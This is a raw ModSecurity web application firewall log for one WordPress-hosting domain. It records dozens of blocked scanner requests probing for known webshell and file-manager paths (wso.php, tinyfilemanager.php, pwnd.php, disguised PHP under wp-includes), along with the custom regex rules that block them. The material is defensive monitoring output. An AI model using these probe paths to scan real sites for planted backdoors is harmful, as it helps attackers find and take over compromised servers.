[Sat Feb 28 08:49:02.771254 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.28:31343] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php/wp-content/themes/travelscape/"] [unique_id "aaI7fqIAO5fN7BxyqcE4NwAAAMQ"]
[Sat Feb 28 08:49:03.643404 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.30:40189] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php/wp-content/themes/travelscape/"] [unique_id "aaI7f6IAO5fN7BxyqcE4QgAAAMQ"]
[Sat Feb 28 08:49:04.514451 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.20:60603] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php/wp-content/themes/travelscape/"] [unique_id "aaI7gKIAO5fN7BxyqcE4VAAAAMI"]
[Sat Feb 28 08:49:05.388736 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.28:49611] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php/wp-content/themes/travelscape/"] [unique_id "aaI7gRCf4HvhVePw3LaijgAAAAU"]
[Sat Feb 28 08:49:06.278719 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.23:33133] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php/wp-content/themes/travelscape/"] [unique_id "aaI7gmuX5e1Q32gqxH0tQwAAARA"]
[Sat Feb 28 08:51:58.143568 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.29:55731] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaI8Ln6mbajs3bzQGyuxCwAAAU0"]
[Sat Feb 28 08:51:59.023783 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.21:53045] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaI8L6IAO5fN7BxyqcE_8wAAAMY"]
[Sat Feb 28 08:52:01.251581 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.20:48795] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aaI8MX6mbajs3bzQGyuxNgAAAUU"]
[Sat Feb 28 08:52:03.952272 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.28:53193] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaI8M36mbajs3bzQGyuxfQAAAUw"]
[Sat Feb 28 08:52:06.159280 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.25:44571] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aaI8NqIAO5fN7BxyqcFAOAAAAMk"]
[Sat Feb 28 08:52:08.848778 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.29:50033] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/hello.php"] [unique_id "aaI8OKIAO5fN7BxyqcFAUgAAAM0"]
[Sat Feb 28 08:52:12.877931 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.25:55703] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aaI8PGuX5e1Q32gqxH07CQAAAQc"]
[Sat Feb 28 08:52:13.770292 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.28:22061] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aaI8PaIAO5fN7BxyqcFAgQAAAMU"]
[Sat Feb 28 08:52:16.431592 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.29:47263] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/udd.php"] [unique_id "aaI8QGuX5e1Q32gqxH07PwAAAQ0"]
[Sat Feb 28 08:52:17.766278 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.21:44949] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI8QRVE-FfM89u7BQatSAAAAJU"]
[Sat Feb 28 08:52:19.994382 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.26:53727] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI8Q2uX5e1Q32gqxH07dQAAAQo"]
[Sat Feb 28 08:52:20.889325 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.25:30589] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaI8RKIAO5fN7BxyqcFA3wAAAMk"]
[Sat Feb 28 08:52:21.783057 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.22:30247] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaI8RWuX5e1Q32gqxH07lwAAAQg"]
[Sat Feb 28 08:52:23.980299 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.21:50259] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaI8R6IAO5fN7BxyqcFBFAAAAMk"]
[Sat Feb 28 08:52:25.295056 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.30:54429] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/94056-upload.phtml"] [unique_id "aaI8SRVE-FfM89u7BQathwAAAJI"]
[Sat Feb 28 08:52:26.624946 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.28:64299] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aaI8Sn6mbajs3bzQGyuyxAAAAVM"]
[Sat Feb 28 08:52:27.947573 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.23:41633] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI8S36mbajs3bzQGyuy4AAAAVQ"]
[Sat Feb 28 08:52:29.276283 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.29:41331] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aaI8TWuX5e1Q32gqxH08NgAAAQI"]
[Sat Feb 28 08:52:31.074328 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.25:26425] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI8T6IAO5fN7BxyqcFBcAAAAMY"]
[Sat Feb 28 08:52:34.624755 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.25:46823] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI8UhCf4HvhVePw3Lam4gAAAAg"]
[Sat Feb 28 08:52:35.505148 2026] [:error] [pid 39185:tid 39256] [client 173.244.55.26:46391] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaI8UxVE-FfM89u7BQat0QAAAIo"]
[Sat Feb 28 08:52:36.817249 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.25:25009] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI8VKIAO5fN7BxyqcFBwAAAANM"]
[Sat Feb 28 08:52:37.703614 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.21:38487] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI8VaIAO5fN7BxyqcFBzwAAANI"]
[Sat Feb 28 08:52:38.579579 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.21:41847] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI8VhVE-FfM89u7BQat_gAAAIM"]
[Sat Feb 28 08:52:39.452660 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.20:57771] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI8V36mbajs3bzQGyuzcQAAAVQ"]
[Sat Feb 28 08:52:40.325719 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.21:25803] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI8WFtZF9Zd_U7easCIkAAAAFY"]
[Sat Feb 28 08:52:41.659701 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.28:49553] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI8WX6mbajs3bzQGyuzkAAAAUo"]
[Sat Feb 28 08:52:43.431897 2026] [:error] [pid 39183:tid 39201] [client 173.244.55.28:64389] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaI8WxCf4HvhVePw3LanJgAAAAk"]
[Sat Feb 28 08:52:44.749103 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.28:43487] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aaI8XGuX5e1Q32gqxH09MAAAAQo"]
[Sat Feb 28 08:52:45.628654 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.23:45419] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aaI8XVtZF9Zd_U7easCIwgAAAFY"]
[Sat Feb 28 08:52:46.943122 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.21:37501] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI8XhVE-FfM89u7BQauRQAAAIs"]
[Sat Feb 28 08:52:48.270511 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.25:22999] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI8YBVE-FfM89u7BQauUQAAAJg"]
[Sat Feb 28 08:52:49.148501 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.31:27253] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aaI8YWuX5e1Q32gqxH09swAAAQs"]
[Sat Feb 28 08:52:50.463024 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.20:62649] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI8YltZF9Zd_U7easCI1AAAAFY"]
[Sat Feb 28 08:52:51.787659 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.25:57033] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/network.php"] [unique_id "aaI8Y36mbajs3bzQGyu0MgAAAVc"]
[Sat Feb 28 08:52:53.121131 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.26:30891] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8ZX6mbajs3bzQGyu0TgAAAVA"]
[Sat Feb 28 08:52:54.003410 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.26:47969] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8ZhVE-FfM89u7BQauiAAAAJU"]
[Sat Feb 28 08:52:54.884441 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.23:64075] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8ZqIAO5fN7BxyqcFCigAAAMY"]
[Sat Feb 28 08:52:55.767511 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.26:47819] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8Z2uX5e1Q32gqxH0-ZwAAAQU"]
[Sat Feb 28 08:52:56.655622 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.30:58299] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8aGuX5e1Q32gqxH0-egAAARQ"]
[Sat Feb 28 08:52:58.435362 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.28:45541] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaI8aqIAO5fN7BxyqcFCugAAANI"]
[Sat Feb 28 08:52:59.336515 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.20:20035] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaI8a2uX5e1Q32gqxH0-xQAAARc"]
[Sat Feb 28 08:53:00.228784 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.23:41189] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaI8bBVE-FfM89u7BQaunAAAAJU"]
[Sat Feb 28 08:53:01.109302 2026] [:error] [pid 39185:tid 39265] [client 173.244.55.22:58869] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaI8bRVE-FfM89u7BQaupQAAAJM"]
[Sat Feb 28 08:53:05.531624 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.21:35237] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aaI8cWuX5e1Q32gqxH0_XQAAARY"]
[Sat Feb 28 08:53:08.195063 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.30:44017] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaI8dKIAO5fN7BxyqcFDSgAAAMI"]
[Sat Feb 28 08:53:09.510398 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.20:61899] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aaI8daIAO5fN7BxyqcFDWgAAAMo"]
